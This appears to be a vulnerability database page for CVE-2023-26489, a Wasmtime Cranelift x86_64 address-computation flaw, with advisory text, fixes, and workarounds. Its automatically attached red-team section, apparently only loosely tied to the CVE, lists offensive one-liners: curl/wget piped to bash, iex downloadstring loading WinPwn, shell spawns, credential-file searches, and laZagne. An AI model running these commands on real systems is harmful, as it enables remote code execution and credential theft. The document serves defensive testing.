CVE-2023-26489

Overview

This vulnerability is a memory access violation caused by an incorrect address-mode computation in Wasmtime's Cranelift code generator on x86_64 architectures. Specifically, the code generator erroneously calculates a 35-bit effective address instead of the intended 33-bit address for WebAssembly load/store operations. The root cause lies in the backend lowering rules that fold left-shifted 32-bit WebAssembly addresses into 64-bit x86_64 addressing modes without proper truncation, affecting Wasmtime's linear memory addressing mechanism.

Vulnerability Description

wasmtime is a fast and secure runtime for WebAssembly. In affected versions wasmtime's code generator, Cranelift, has a bug on x86_64 targets where address-mode computation mistakenly would calculate a 35-bit effective address instead of WebAssembly's defined 33-bit effective address. This bug means that, with default codegen settings, a wasm-controlled load/store operation could read/write addresses up to 35 bits away from the base of linear memory. Due to this bug, however, addresses up to `0xffffffff * 8 + 0x7ffffffc = 36507222004 = ~34G` bytes away from the base of linear memory are possible from guest code. This means that the virtual memory 6G away from the base of linear memory up to ~34G away can be read/written by a malicious module. A guest module can, without the knowledge of the embedder, read/write memory in this region. The memory may belong to other WebAssembly instances when using the pooling allocator, for example. Affected embedders are recommended to analyze preexisting wasm modules to see if they're affected by the incorrect codegen rules and possibly correlate that with an anomalous number of traps during historical execution to locate possibly suspicious modules. The specific bug in Cranelift's x86_64 backend is that a WebAssembly address which is left-shifted by a constant amount from 1 to 3 will get folded into x86_64's addressing modes which perform shifts. For example `(i32.load (i32.shl (local.get 0) (i32.const 3)))` loads from the WebAssembly address `$local0 << 3`. When translated to Cranelift the `$local0 << 3` computation, a 32-bit value, is zero-extended to a 64-bit value and then added to the base address of linear memory. Cranelift would generate an instruction of the form `movl (%base, %local0, 8), %dst` which calculates `%base + %local0 << 3`. The bug here, however, is that the address computation happens with 64-bit values, where the `$local0 << 3` computation was supposed to be truncated to a a 32-bit value. This means that `%local0`, which can use up to 32-bits for an address, gets 3 extra bits of address space to be accessible via this `movl` instruction. The fix in Cranelift is to remove the erroneous lowering rules in the backend which handle these zero-extended expression. The above example is then translated to `movl %local0, %temp; shl $3, %temp; movl (%base, %temp), %dst` which correctly truncates the intermediate computation of `%local0 << 3` to 32-bits inside the `%temp` register which is then added to the `%base` value. Wasmtime version 4.0.1, 5.0.1, and 6.0.1 have been released and have all been patched to no longer contain the erroneous lowering rules. While updating Wasmtime is recommended, there are a number of possible workarounds that embedders can employ to mitigate this issue if updating is not possible. Note that none of these workarounds are on-by-default and require explicit configuration: 1. The `Config::static_memory_maximum_size(0)` option can be used to force all accesses to linear memory to be explicitly bounds-checked. This will perform a bounds check separately from the address-mode computation which correctly calculates the effective address of a load/store. Note that this can have a large impact on the execution performance of WebAssembly modules. 2. The `Config::static_memory_guard_size(1 << 36)` option can be used to greatly increase the guard pages placed after linear memory. This will guarantee that memory accesses up-to-34G away are guaranteed to be semantically correct by reserving unmapped memory for the instance. Note that this reserves a very large amount of virtual memory per-instances and can greatly reduce the maximum number of concurrent instances being run. 3. If using a non-x86_64 host is possible, then that will also work around this bug. This bug does not affect Wasmtime's or Cranelift's AArch64 backend, for example.

Impact

An attacker controlling a WebAssembly module can exploit this vulnerability to read from or write to memory regions up to ~34GB away from the base linear memory, including memory belonging to other WebAssembly instances when using pooling allocators. This unauthorized memory access requires only the ability to execute WebAssembly code on an affected Wasmtime runtime, with no user interaction or elevated privileges needed (CVSS vector: AV:N/AC:L/PR:L/UI:N). The consequence is potential data leakage, memory corruption, and cross-instance interference, undermining isolation guarantees in multi-tenant environments.

Solution

Wasmtime versions 4.0.1, 5.0.1, and 6.0.1 include patches that remove the erroneous lowering rules in Cranelift's x86_64 backend, correcting address computations. Embedders unable to upgrade immediately can apply mitigations such as enabling Config::static_memory_maximum_size(0) to enforce explicit bounds checks or Config::static_memory_guard_size(1 << 36) to reserve large guard pages, as documented in the Wasmtime Config API. Alternatively, running on non-x86_64 hosts avoids the issue. Detailed patch and configuration instructions are available in the Wasmtime security advisory at https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-ff4p-7xrq-q5r8.

Affected Products (6)

	Vendor	Product	Version	CPE
B	Bytecodealliance	Cranelift-Codegen	All	cpe:2.3:a:bytecodealliance:cranelift-codegen:*:*:*:*:*:rust:*:*
B	Bytecodealliance	Cranelift-Codegen	0.92.0	cpe:2.3:a:bytecodealliance:cranelift-codegen:0.92.0:*:*:*:*:rust:*:*
B	Bytecodealliance	Cranelift-Codegen	0.93.0	cpe:2.3:a:bytecodealliance:cranelift-codegen:0.93.0:*:*:*:*:rust:*:*
B	Bytecodealliance	Wasmtime	All	cpe:2.3:a:bytecodealliance:wasmtime:*:*:*:*:*:rust:*:*
B	Bytecodealliance	Wasmtime	5.0.0	cpe:2.3:a:bytecodealliance:wasmtime:5.0.0:*:*:*:*:rust:*:*
B	Bytecodealliance	Wasmtime	6.0.0	cpe:2.3:a:bytecodealliance:wasmtime:6.0.0:*:*:*:*:rust:*:*

Exploits

No exploits found for this CVE.

Attack Vectors ML

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false

echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"

$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}

netstat -ano
net use
net sessions 2>nul

netstat
who -a

Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize

sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true

if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi

Get-NetTCPConnection

[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art

for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done

curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash

sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}

echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan

uname -srm

cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      

export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh

chmod +x #{autosuid}
bash #{autosuid}

chmod +x #{linenum}
bash #{linenum}

TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE

[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART

awk 'BEGIN {system("/bin/sh &")}'

busybox sh &

echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi

cat /etc/shells 

sudo emacs -Q -nw --eval '(term "/bin/sh &")'

xcopy /I /Y "#{web_shells}" #{web_shell_path}

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml

for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done

python2 laZagne.py all

grep -ri password #{file_path}
exit 0

findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password

find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null

find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null

find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null

find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null

find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null

find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null

find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null

for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null

dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\

$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\

find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (6)